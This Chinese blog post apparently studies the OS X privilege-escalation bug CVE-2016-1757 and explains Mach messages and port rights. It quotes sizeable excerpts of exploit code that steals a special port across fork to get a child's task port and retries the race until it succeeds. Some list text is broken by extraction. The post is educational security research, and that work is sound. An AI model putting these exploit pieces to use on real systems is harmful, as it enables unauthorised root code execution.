CVE-2016-1757 是一个 OS X
系统上通过条件竞争实现任意代码在 root
权限执行的漏洞。在这篇文章之前,我已经分析过了这个漏洞的原理,以及 EXP
代码的实现。
CVE-2016-1757简单分析
CVE-2016-1757利用程序分析
利用patch绕过kextload对内核签名的检测
在 syscan2016
上又有国外的安全研究人员放出自己的 利用代码 。学习之后,这个利用代码确实比之前的更加清晰、明确。更加容易理解。
而两个利用本质上面的不同是对 mach port
的不同的利用方法。下面主要结合两个不同的POC,来分析一下 mach message
的使用,同时也是研究 xnu
的 IPC
的基础。
Mach
在 OS X
的内核中处于最接近底层的一个模块。是 XNU
内核的内核。是一个 BSD
层包裹的 微内核
。而内核中的 task
, thread
, virtual memory
等模块,对于 Mach
来说,都是一个 Object
。这些 Objects
基于 Mach
实现自己的功能,并且通过 Mach Message
来进行相互之间的通信。
The Mach kernel thus becomes a low-level foundation, concerning itself with only the bare mini-mum required for driving the operating system. Everything else may be implemented by some higher layer of an operating system, which then draws on the Mach primitives and manipulate them inwhatever way it sees fit.
————— Mac OS® X and iOS Internals
Mach Messages
总共有两种,分别是 Simple Messages
和 Complex Messages
。
Simple Message
的结构体,大致如下图所示。
#!c typedef struct { natural_t pad1; mach_msg_size_t pad2; unsigned int pad3 : 24; mach_msg_descriptor_type_t type : 8; } mach_msg_type_descriptor_t; typedef struct { mach_msg_size_t msgh_descriptor_count; } mach_msg_body_t; typedef struct { mach_msg_bits_t msgh_bits; mach_msg_size_t msgh_size; mach_port_t msgh_remote_port; mach_port_t msgh_local_port; mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t;
在使用 mach message
时,可以自己定义一个数据结构,更方便的编写代码。
#!c struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_type_descriptor_t type; } message; message.header = (mach_msg_header_t) { .msgh_remote_port = port, .msgh_local_port = MACH_PORT_NULL, .msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0), .msgh_size = sizeof(message) }; message.body = (mach_msg_body_t) { .msgh_descriptor_count = 1 }; message.type = (mach_msg_type_descriptor_t) { .pad1 = data, .pad2 = sizeof(data) };
构建一个 message
,然后调用 mach API
发送这个消息。当然 msgh_descriptor_count
也可以是其他值,那么就要有相对于个数的 mach_msg_type_descriptor_t
。
Complex Messages
和 Simple Message
对比,多了一个附加的数据 Mach Trailers
。并且数据描述符的定义也不同了。
描述符的定义如下
#!c typedef struct { void* address; #if !defined(__LP64__) mach_msg_size_t size; #endif boolean_t deallocate: 8; mach_msg_copy_options_t copy: 8; unsigned int pad1: 8; mach_msg_descriptor_type_t type: 8; #if defined(__LP64__) mach_msg_size_t size; #endif } mach_msg_ool_descriptor_t;
每一条 Mach Message
都是从一个 port
发送到另外一个 port
,而每一个 port
都有自己的权限。
Mach Message
添加到 port
的队列中。 Mach Message
。一般情况下只有 port
的持有者拥有这个权利。 port
以及他的 权限
,可以从一个进程转交给另外一个进程,这也就是这一次要分析的 EXP
的主要原理。
当每一个 task
被创建的时候,系统都会提供一系列特殊的 port
,在这些 port
当中,我们比较感兴趣的是以下几种:
task
的整台机器的 port
。 task
本身的 port
。 bootstrap server
连接着的一个 port
。 Message
的发送与接收,都是使用同一个 mach API
, mach_msg
。
#!c kr = mach_msg(recv_hdr, // message buffer msg_options, // option indicating receive 0, // send size recv_hdr->msgh_size, // size of header + body server_port, // receive name MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever MACH_PORT_NULL); // no notification port kr = mach_msg(send_hdr, // message buffer MACH_SEND_MSG, // option indicating send send_hdr->msgh_size, // size of header + body 0, // receive limit MACH_PORT_NULL, // receive name MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever MACH_PORT_NULL); // no notification port
根据参数的不同,实现了接收 Message
和发送 Message
不同的功能。
通过对源码的阅读, mach_msg
实际上是调用了 mach_msg_overwrite_trap
,进入内核中,通过 ipc_kmsg_*
系列函数,来实现的消息发送与接收。大致如下图所示。
图片转自( http://blog.ibireme.com/2015/05/18/runloop/ )。
了解了 port
和 Mach Message
的基础知识之后,先来回顾一下我们已经 分析过的EXP中 ,有这样一段代码。
#!c typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; } port_msg_send_t; // mach message for receiving a port right typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; mach_msg_trailer_t trailer; } port_msg_rcv_t; typedef struct { mach_msg_header_t header; } simple_msg_send_t; typedef struct { mach_msg_header_t header; mach_msg_trailer_t trailer; } simple_msg_rcv_t; #define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT // a copy in the parent of the stolen special port such that it can be restored mach_port_t saved_special_port = MACH_PORT_NULL; // the shared port right in the parent mach_port_t shared_port_parent = MACH_PORT_NULL; void setup_shared_port() { kern_return_t err; // get a send right to the port we're going to overwrite so that we can both // restore it for ourselves and send it to our child err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port); MACH_ERR("saving original special port value", err); // allocate the shared port we want our child to have a send right to err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &shared_port_parent); MACH_ERR("allocating shared port", err); // insert the send right err = mach_port_insert_right(mach_task_self(), shared_port_parent, shared_port_parent, MACH_MSG_TYPE_MAKE_SEND); MACH_ERR("inserting MAKE_SEND into shared port", err); // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent); MACH_ERR("setting special port", err); } mach_port_t recover_shared_port_child() { kern_return_t err; // grab the shared port which our parent stashed somewhere in the special ports mach_port_t shared_port_child = MACH_PORT_NULL; err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child); MACH_ERR("child getting stashed port", err); LOG("child got stashed port"); // say hello to our parent and send a reply port so it can send us back the special port to restore // allocate a reply port mach_port_t reply_port; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); MACH_ERR("child allocating reply port", err); // send the reply port in a hello message simple_msg_send_t msg = {0}; msg.header.msgh_size = sizeof(msg); msg.header.msgh_local_port = reply_port; msg.header.msgh_remote_port = shared_port_child; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); err = mach_msg_send(&msg.header); MACH_ERR("child sending task port message", err); LOG("child sent hello message to parent over shared port"); // wait for a message on the reply port containing the stolen port to restore port_msg_rcv_t stolen_port_msg = {0}; err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); MACH_ERR("child receiving stolen port/n", err); // extract the port right from the message mach_port_t stolen_port_to_restore = stolen_port_msg.port.name; if (stolen_port_to_restore == MACH_PORT_NULL) { FAIL("child received invalid stolen port to restore"); } // restore the special port for the child err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore); MACH_ERR("child restoring special port", err); LOG("child restored stolen port"); return shared_port_child; } mach_port_t recover_shared_port_parent() { kern_return_t err; // restore the special port for ourselves err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port); MACH_ERR("parent restoring special port", err); // wait for a message from the child on the shared port simple_msg_rcv_t msg = {0}; err = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), shared_port_parent, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); MACH_ERR("parent receiving child hello message", err); LOG("parent received hello message from child"); // send the special port to our child over the hello message's reply port port_msg_send_t special_port_msg = {0}; special_port_msg.header.msgh_size = sizeof(special_port_msg); special_port_msg.header.msgh_local_port = MACH_PORT_NULL; special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port; special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX; special_port_msg.body.msgh_descriptor_count = 1; special_port_msg.port.name = saved_special_port; special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND; special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR; err = mach_msg_send(&special_port_msg.header); MACH_ERR("parent sending special port back to child", err); return shared_port_parent; } int main(int argc, char** argv) { parse_args(argc, argv); // check that the original is actually a 64-bit mach-o and not a fat binary verify_original(original, original_length); // apply the patch to the original apply_patch(original, original_length, patch, patch_length); int tries = 0; for (;;) { setup_shared_port(); pid_t child_pid = fork(); if (child_pid == -1) { FAIL("forking"); } if (child_pid == 0) { mach_port_t shared_port_child = recover_shared_port_child(); do_child(shared_port_child); } else { mach_port_t shared_port_parent = recover_shared_port_parent(); do_parent(shared_port_parent); int status; wait(&status); if (status == 0) { LOG("worked :-)"); break; } tries++; if (tries > max_tries) { FAIL("either didn't win the race (try again) or we won but the child didn't exit cleanly with a 0 return code"); break; } LOG("trying again..."); } } return 0; }
通过一个 saved_special_port
完成了,父进程与子进程之间的 port
传递,从而使得父进程与子进程共享同一个 port
,子进程再通过共享的 port
,将自身的 task
的 port
发送给父进程并最终在父进程中实现对子进程代码段修改,执行任意代码,详情见 这里 。
task_get_special_port
获取他的 special ports
,并存储在局部变量中。 special ports
是一些连接着系统服务的 port
,在 fork
的过程中,子进程会继承 special port
。 mach_port_allocate
函数创建一个新的 port
,通过 task_set_special_port
将这个新的 port
设为 special port
,且通过 mach_port_insert_right
为这个新的 port
赋予写的权限。并最终试图将这个新的 port
传递给子进程。 fork
,子进程继承了 2 中创建的新的 port
,作为自己的 special port
。 special port
,重新设置回来。 special port
,并且保存下来。 special port
和父进程通信。 special port
再发送给子进程。 special port
设置为自己的 special port
。 时序图大致如下:
通过上面的分析,可以得知,再利用这个漏洞的时候,我们想要的就是一个父进程与子进程共同持有,且可以用来交流的 port
,通过这个 port
,子进程可以将自己的 task port
交给另外一个进程,这里是父进程,来实现漏洞的利用。
那么新的 EXP
使用了什么方法实现的呢?
每一个 task
可以调用 bootstrap_register()
函数,向 bootstrap server
注册一个服务,通过一个字符串与自己的 task port
相关联。其他的 task
可以通过 bootstrap_look_up
函数来通过字符串查询对应的 task
的 port
。
那么问题就一目了然了。
bootstrap_register
注册一个服务。 bootstrap_look_up
获取进程A的 task port
。 task port
将自己的 task port
告知进程A。 task port
配合进程B,出发漏洞。 这个方案虽然简单明了,但是缺有一个问题, bootstrap_register
在10.5之后的版本就没有了。
不过网上有个一简单的替代方法,在-[NSMachBootstrapServer registerPort:name:]中封装了一个 bootstrap_register2
,只不过并没有导出到外部,所以只需要添加一行代码就可以使用 bootstrap_register2
来完成相应的功能。
#!c /* * this is not exported so we need to declare it * we need to use this because bootstrap_create_server is broken in Yosemite */ extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
摘取利用代码中相关代码段。
mach_server.c
#!c /* register the server with launchd */ kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &server_port); kr = mach_port_insert_right(mach_task_self(), server_port, server_port, MACH_MSG_TYPE_MAKE_SEND); kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, server_port, 0); /* alternative method to register with launchd */
mach_client.c
#!c DEBUG_MSG("Looking up server..."); kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port); EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS); kr = mach_port_allocate(mach_task_self(), // our task is acquiring MACH_PORT_RIGHT_RECEIVE, // a new receive right &client_port); // with this name
有兴趣的读者可以仔细阅读 fG!的利用 ,与之前的利用代码的不同之处并不止在 mach message
的利用这一点上。以后有时间还会做出更细致的分析。
这是我的学习分享博客 http://turingh.github.io/
欢迎大家来探讨,不足之处还请指正。